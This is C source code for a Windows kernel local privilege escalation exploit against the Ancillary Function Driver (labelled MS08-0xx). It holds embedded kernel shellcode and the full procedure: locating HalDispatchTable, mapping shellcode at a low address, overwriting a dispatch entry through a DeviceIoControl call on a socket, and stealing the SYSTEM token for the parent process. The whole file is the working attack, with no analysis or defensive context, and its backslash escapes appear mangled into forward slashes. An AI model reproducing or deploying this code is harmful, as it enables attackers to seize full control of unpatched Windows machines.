- #include <stdio.h>
- #include <winsock2.h>
- #include <windows.h>
- #pragma comment(lib, "ws2_32.lib")
- #define NTSTATUS int
- typedef struct _PROCESS_BASIC_INFORMATION {
- NTSTATUS ExitStatus;
- PVOID PebBaseAddress;
- ULONG AffinityMask;
- ULONG BasePriority;
- ULONG UniqueProcessId;
- ULONG InheritedFromUniqueProcessId;
- } PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION;
- typedef struct _IMAGE_FIXUP_ENTRY {
- USHORT Offset:12;
- USHORT Type:4;
- } IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;
- typedef enum _PROCESS_IMFORMATION_CLASS {
- ProcessBasicInformation,
- ProcessQuotaLimits,
- ProcessIoCounters,
- ProcessVmCounters,
- ProcessTimes,
- ProcessBasePriority,
- ProcessRaisePriority,
- ProcessDebugPort,
- ProcessExceptionPort,
- ProcessAccessToken,
- ProcessLdtInformation,
- ProcessLdtSize,
- ProcessDeaultHardErrorMode,
- ProcessIoPortHandlers,
- ProcessPooledUsageAndLimits,
- ProcessWorkingSetWatch,
- ProcessUserModeIOPL,
- ProcessEnableAlignmentFaultFixup,
- ProcessPriorityClass,
- ProcessWx86Information,
- ProcessHandleCount,
- ProcessAffinityMask,
- ProcessPriorityBoost,
- ProcessDeviceMap,
- ProcessSessionInformation,
- ProcessForegroundInformation,
- ProcessWow64Information
- } PROCESS_INFORMATION_CLASS;
- typedef enum _SYSTEM_INFORMATION_CLASS {
- SystemBasicInformation,
- SystemProcessorInformation,
- SystemPerformanceInformation,
- SystemTimeOfDayInformation,
- SystemNotImplemented1,
- SystemProcessesAndThreadsInformation,
- SystemCallCounts,
- SystemConfigurationInformation,
- SystemProcessorTimes,
- SystemGlobalFlag,
- SystemNotImplemented2,
- SystemModuleInformation,
- SystemLockInformation,
- SystemNotImplemented3,
- SystemNotImplemented4,
- SystemNotImplemented5,
- SystemHandleInformation,
- SystemObjectInformation,
- SystemPagefileInformation,
- SystemInstructioEmulationCounts,
- SystemInvalidInfoClass1,
- SystemCacheInformation,
- SystemPoolTagInformation,
- SystemProcessorStatistics,
- SystemDpcInformation,
- SystemNotImplemented6,
- SystemLoadImage,
- SystemUnloadImage,
- SystemTimeAdjustment,
- SystemNotImplemented7,
- SystemNotImplemented8,
- SystemNotImplemented9,
- SystemCrashDumpInformation,
- SystemExceptionInformation,
- SystemCrashDumpStateInformation,
- SystemKernelDebuggerInformation,
- SystemContextSwitchInformation,
- SystemRegisterQuotaInformation,
- SystemLoadAndCallImage,
- SystemPrioritySeparation
- } SYSTEM_INFORMATION_CLASS;
- typedef enum _KPROFILE_SOURCE {
- ProfileTime,
- ProfileAlignmentFixup,
- ProfileTotalIssues,
- ProfilePipelineDry,
- ProfileLoadInstructions,
- ProfilePipelineFrozen,
- ProfileBranchInstructions,
- ProfileTotalNonissues,
- ProfileDcacheMisses,
- ProfileIcacheMisses,
- ProfileCacheMisses,
- ProfileBranchMispredictions,
- ProfileStoreInstructions,
- ProfileFpInstructions,
- ProfileIntegerInstructions,
- Profile2Issue,
- Profile3Issue,
- Profile4Issue,
- ProfileSpecialInstructions,
- ProfileTotalCycles,
- ProfileIcacheIssues,
- ProfileDcacheAccesses,
- ProfileMemoryBarrierCycles,
- ProfileLoadLinkedIssues,
- ProfileMaximum
- } KPROFILE_SOURCE, *PKPROFILE_SOURCE;
- typedef struct _UNICODE_STRING {
- USHORT Length;
- USHORT MaximumLength;
- PWSTR Buffer;
- } UNICODE_STRING, *PUNICODE_STRING;
- typedef struct _SECTION_BASIC_INFORMATION {
- PVOID BaseAddress;
- ULONG Attributes;
- LARGE_INTEGER Size;
- }SECTION_BASIC_INFORMATION, *PSECTION_BASIC_INFORMATION;
- typedef struct _SYSTEM_MODULE_INFORMATION {
- ULONG Reserved[2];
- PVOID Base;
- ULONG Size;
- ULONG Flags;
- USHORT Index;
- USHORT Unknown;
- USHORT LoadCount;
- USHORT ModuleNameOffset;
- CHAR ImageName[256];
- } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
- typedef NTSTATUS (NTAPI *ZWQUERYINTERNALPROFILE)(ULONG, PULONG);
- typedef NTSTATUS (NTAPI *ZWQUERYINFORMATIONPROCESS)(HANDLE, ULONG, PVOID, ULONG, PULONG);
- typedef NTSTATUS (NTAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG);
- typedef NTSTATUS (NTAPI *ZWALLOCATEVIRTUALMEMORY)(HANDLE, PVOID *, ULONG, PULONG, ULONG, ULONG);
- typedef PIMAGE_NT_HEADERS (NTAPI *RTLIMAGENTHEADER)(PVOID);
- typedef PVOID (NTAPI *RTLIMAGEDIRECTORYENTRYTODATA)(PVOID, ULONG, USHORT, PULONG);
- ZWQUERYINTERNALPROFILE ZwQueryIntervalProfile;
- ZWQUERYINFORMATIONPROCESS ZwQueryInformationProcess;
- ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation;
- ZWALLOCATEVIRTUALMEMORY ZwAllocateVirtualMemory;
- RTLIMAGENTHEADER RtlImageNtHeader;
- RTLIMAGEDIRECTORYENTRYTODATA RtlImageDirectoryEntryToData;
- unsigned char kfunctions[64][64] =
- {
- //ntoskrnl.exe
- {"ZwTerminateProcess"},
- {"PsLookupProcessByProcessId"},
- {""},
- };
- unsigned char shellcode[] =
- "/x90/x60/x9c/xe9/xc4/x00/x00/x00/x5f/x4f/x47/x66/x81/x3f/x90/xcc"
- "/x75/xf8/x66/x81/x7f/x02/xcc/x90/x75/xf0/x83/xc7/x04/x64/x8b/x35"
- "/x38/x00/x00/x00/xad/xad/x48/x81/x38/x4d/x5a/x90/x00/x75/xf7/x95"
- "/x8b/xf7/x6a/x02/x59/xe8/x4d/x00/x00/x00/xe2/xf9/x8b/x4e/x0c/xe8"
- "/x29/x00/x00/x00/x50/x8b/x4e/x08/xe8/x20/x00/x00/x00/x5a/x8b/x7e"
- "/x1c/x8b/x0c/x3a/x89/x0c/x38/x56/x8b/x7e/x14/x8b/x4e/x18/x8b/x76"
- "/x10/xf3/xa4/x5e/x33/xc0/x50/x50/xff/x16/x9d/x61/xc3/x83/xec/x04"
- "/x8d/x2c/x24/x55/x51/xff/x56/x04/x85/xc0/x0f/x85/x80/x8f/x00/x00"
- "/x8b/x45/x00/x83/xc4/x04/xc3/x51/x56/x8b/x75/x3c/x8b/x74/x2e/x78"
- "/x03/xf5/x56/x8b/x76/x20/x03/xf5/x33/xc9/x49/x41/xad/x03/xc5/x33"
- "/xdb/x0f/xbe/x10/x85/xd2/x74/x08/xc1/xcb/x07/x03/xda/x40/xeb/xf1"
- "/x3b/x1f/x75/xe7/x5e/x8b/x5e/x24/x03/xdd/x66/x8b/x0c/x4b/x8b/x5e"
- "/x1c/x03/xdd/x8b/x04/x8b/x03/xc5/xab/x5e/x59/xc3/xe8/x37/xff/xff"
- "/xff/x90/x90/x90"
- "/x90/xcc/xcc/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
- "/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
- "/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/xcc/x90/x90/xcc";
- void ErrorQuit(pMsg)
- {
- printf("%sError Code:%d/n", pMsg, GetLastError());
- ExitProcess(0);
- }
- ULONG ComputeHash(char *ch)
- {
- ULONG ret = 0;
- while(*ch)
- {
- ret = ((ret << 25) | (ret >> 7)) + *ch++;
- }
- return ret;
- }
- void GetFunction()
- {
- HANDLE hNtdll;
- hNtdll = LoadLibrary("ntdll.dll");
- if(hNtdll == NULL)
- ErrorQuit("LoadLibrary failed./n");
- ZwQueryIntervalProfile = (ZWQUERYINTERNALPROFILE)GetProcAddress(hNtdll, "ZwQueryIntervalProfile");
- if(ZwQueryIntervalProfile == NULL)
- ErrorQuit("GetProcAddress failed./n");
- ZwQueryInformationProcess = (ZWQUERYINFORMATIONPROCESS)GetProcAddress(hNtdll, "ZwQueryInformationProcess");
- if(ZwQueryInformationProcess == NULL)
- ErrorQuit("GetProcAddress failed./n");
- ZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)GetProcAddress(hNtdll, "ZwQuerySystemInformation");
- if(ZwQuerySystemInformation == NULL)
- ErrorQuit("GetProcessAddress failed./n");
- ZwAllocateVirtualMemory = (ZWALLOCATEVIRTUALMEMORY)GetProcAddress(hNtdll, "ZwAllocateVirtualMemory");
- if(ZwAllocateVirtualMemory == NULL)
- ErrorQuit("GetProcAddress failed./n");
- RtlImageNtHeader = (RTLIMAGENTHEADER)GetProcAddress(hNtdll, "RtlImageNtHeader");
- if(RtlImageNtHeader == NULL)
- ErrorQuit("GetProcAddress failed./n");
- RtlImageDirectoryEntryToData = (RTLIMAGEDIRECTORYENTRYTODATA)GetProcAddress(hNtdll, "RtlImageDirectoryEntryToData");
- if(RtlImageDirectoryEntryToData == NULL)
- ErrorQuit("GetProcAddress failed./n");
- FreeLibrary(hNtdll);
- }
- ULONG GetKernelBase(char *KernelName)
- {
- ULONG i, Byte, ModuleCount, KernelBase;
- PVOID pBuffer;
- PSYSTEM_MODULE_INFORMATION pSystemModuleInformation;
- PCHAR pName;
- ZwQuerySystemInformation(SystemModuleInformation, (PVOID)&Byte, 0, &Byte);
- if((pBuffer = malloc(Byte)) == NULL)
- ErrorQuit("malloc failed./n");
- if(ZwQuerySystemInformation(SystemModuleInformation, pBuffer, Byte, &Byte))
- ErrorQuit("ZwQuerySystemInformation failed/n");
- ModuleCount = *(PULONG)pBuffer;
- pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)((PUCHAR)pBuffer + sizeof(ULONG));
- for(i = 0; i < ModuleCount; i++)
- {
- if((pName = strstr(pSystemModuleInformation->ImageName, "ntoskrnl.exe")) != NULL)
- {
- KernelBase = (ULONG)pSystemModuleInformation->Base;
- printf("Kernel is %s/n", pSystemModuleInformation->ImageName);
- free(pBuffer);
- strcpy(KernelName, "ntoskrnl.exe");
- return KernelBase;
- }
- if((pName = strstr(pSystemModuleInformation->ImageName, "ntkrnlpa.exe")) != NULL)
- {
- KernelBase = (ULONG)pSystemModuleInformation->Base;
- printf("Kernel is %s/n", pSystemModuleInformation->ImageName);
- free(pBuffer);
- strcpy(KernelName, "ntkrnlpa.exe");
- return KernelBase;
- }
- pSystemModuleInformation++;
- }
- free(pBuffer);
- return 0;
- }
- ULONG GetServiceTable(PVOID pImageBase, ULONG Address)
- {
- PIMAGE_NT_HEADERS pNtHeaders;
- PIMAGE_BASE_RELOCATION pBaseRelocation;
- PIMAGE_FIXUP_ENTRY pFixupEntry;
- ULONG RelocationTableSize = 0;
- ULONG Offset, i, VirtualAddress, Rva;
- Offset = Address - (ULONG)pImageBase;
- pNtHeaders = (PIMAGE_NT_HEADERS)RtlImageNtHeader(pImageBase);
- pBaseRelocation = (PIMAGE_BASE_RELOCATION)RtlImageDirectoryEntryToData(pImageBase, TRUE, IMAGE_DIRECTORY_ENTRY_BASERELOC, &RelocationTableSize);
- if(pBaseRelocation == NULL)
- return 0;
- do
- {
- pFixupEntry = (PIMAGE_FIXUP_ENTRY)((ULONG)pBaseRelocation + sizeof(IMAGE_BASE_RELOCATION));
- RelocationTableSize = (pBaseRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) >> 1;
- for(i = 0; i < RelocationTableSize; i++, pFixupEntry++)
- {
- if(pFixupEntry->Type == IMAGE_REL_BASED_HIGHLOW)
- {
- VirtualAddress = pBaseRelocation->VirtualAddress + pFixupEntry->Offset;
- Rva = *(PULONG)((ULONG)pImageBase + VirtualAddress) - (ULONG)pNtHeaders->OptionalHeader.ImageBase;
- if(Rva == Offset)
- {
- if (*(PUSHORT)((ULONG)pImageBase + VirtualAddress - 2) == 0x05c7)
- return *(PULONG)((ULONG)pImageBase + VirtualAddress + 4) - pNtHeaders->OptionalHeader.ImageBase;
- }
- }
- }
- *(PULONG)&pBaseRelocation += pBaseRelocation->SizeOfBlock;
- } while(pBaseRelocation->VirtualAddress);
- return 0;
- }
- int main(int argc, char* argv[])
- {
- PVOID pDrivers[256];
- PVOID pOldKernelInfo, pMapAddress = NULL;
- PULONG pStoreBuffer, pShellcode, pFakeKernelInfo;
- PUCHAR pRestoreBuffer, pBase, FunctionAddress;
- PROCESS_BASIC_INFORMATION pbi;
- SYSTEM_MODULE_INFORMATION smi;
- SECTION_BASIC_INFORMATION sbi;
- KPROFILE_SOURCE ProfileSource;
- OSVERSIONINFO ovi;
- char DriverName[256], KernelName[64];
- ULONG Byte, len, i, j, k, BaseAddress, Value, KernelBase, buf[64];
- ULONG HookAddress, SystemId, TokenOffset, Sections, Pid, FunctionNumber;
- ULONG HDTOffset, AllocationSize;
- ULONG Result;
- HANDLE hKernel;
- WSADATA wsad;
- int sockfd;
- struct sockaddr_in saddr;
- printf("/n MS08-0xx Windows Kernel Ancillary Function Driver Local Privilege Escalation Vulnerability Exploit /n/n");
- printf("/t Create by SoBeIt. /n/n");
- if(argc != 1)
- {
- printf(" Usage:%s/n/n", argv[0]);
- return 1;
- }
- pFakeKernelInfo = (PULONG)malloc(256);
- GetFunction();
- if(ZwQueryInformationProcess(GetCurrentProcess(), ProcessBasicInformation, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL))
- ErrorQuit("ZwQueryInformationProcess failed/n");
- KernelBase = GetKernelBase(KernelName);
- if(!KernelBase)
- ErrorQuit("Unable to get kernel base address./n");
- printf("Kernel base address: %x/n", KernelBase);
- ovi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
- if(!GetVersionEx(&ovi))
- ErrorQuit("GetVersionEx failed./n");
- if(ovi.dwMajorVersion != 5 && ovi.dwMajorVersion != 6)
- ErrorQuit("Not Windows NT family OS./n");
- printf("Major Version:%d Minor Version:%d/n", ovi.dwMajorVersion, ovi.dwMinorVersion);
- switch(ovi.dwMinorVersion)
- {
- case 0: //Windows2000
- SystemId = 8;
- TokenOffset = 0x12c;
- break;
- case 1: //WindowsXP
- SystemId = 4;
- TokenOffset = 0xc8;
- break;
- case 2: //Windows2003
- SystemId = 4;
- TokenOffset = 0xd8;
- break;
- default:
- SystemId = 4;
- TokenOffset = 0xc8;
- }
- hKernel = LoadLibrary(KernelName);
- if(hKernel == NULL)
- ErrorQuit("LoadLibrary failed./n");
- printf("Load Base:%x/n", (ULONG)hKernel);
- HDTOffset = (ULONG)GetProcAddress(hKernel, "HalDispatchTable");
- HDTOffset += KernelBase - (ULONG)hKernel;
- printf("HalDispatchTable Offset:%x/n", HDTOffset);
- HookAddress = (ULONG)(HDTOffset + 4);
- printf("NtQueryIntervalProfile function entry address:%x/n", HookAddress);
- AllocationSize = 0x1000;
- pStoreBuffer = (PULONG)0x7fb0;
- if(ZwAllocateVirtualMemory((HANDLE)0xffffffff, &pStoreBuffer, 0, &AllocationSize,
- MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE))
- ErrorQuit("ZwAllocateVirtualMemory failed./n");
- pRestoreBuffer = malloc(0x100);
- memset(pStoreBuffer, 0x90, AllocationSize);
- pShellcode = (PULONG)shellcode;
- for(k = 0; pShellcode[k++] != 0x90cccc90; )
- ;
- for(j = 0; kfunctions[j][0] != '/x0'; j++)
- buf[j] = ComputeHash(kfunctions[j]);
- buf[j++] = pbi.InheritedFromUniqueProcessId;
- buf[j++] = SystemId;
- buf[j++] = (ULONG)pRestoreBuffer;
- buf[j++] = HookAddress;
- buf[j++] = 0x04;
- buf[j++] = TokenOffset;
- memcpy((char *)(pShellcode + k), (char *)buf, j * 4);
- memcpy((PUCHAR)0x8000, shellcode, sizeof(shellcode) - 1);
- if(WSAStartup(MAKEWORD(2, 2), &wsad) != 0)
- ErrorQuit("WSAStartup failed./n");
- if((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
- ErrorQuit("socket failed./n");
- saddr.sin_family = AF_INET;
- saddr.sin_port = htons(0x1bd);
- saddr.sin_addr.s_addr = 0x100007f;
- if(connect(sockfd, (struct sockaddr *)&saddr, sizeof(struct sockaddr)))
- ErrorQuit("connect failed./n");
- DeviceIoControl((HANDLE)sockfd, 0x1203F, NULL, 0, (PVOID)(HookAddress - 3), 0, &Result, NULL);
- ProfileSource = ProfileTotalIssues;
- ZwQueryIntervalProfile(ProfileSource, &Result);
- printf("Exploit finished./n");
- return 1;
- }
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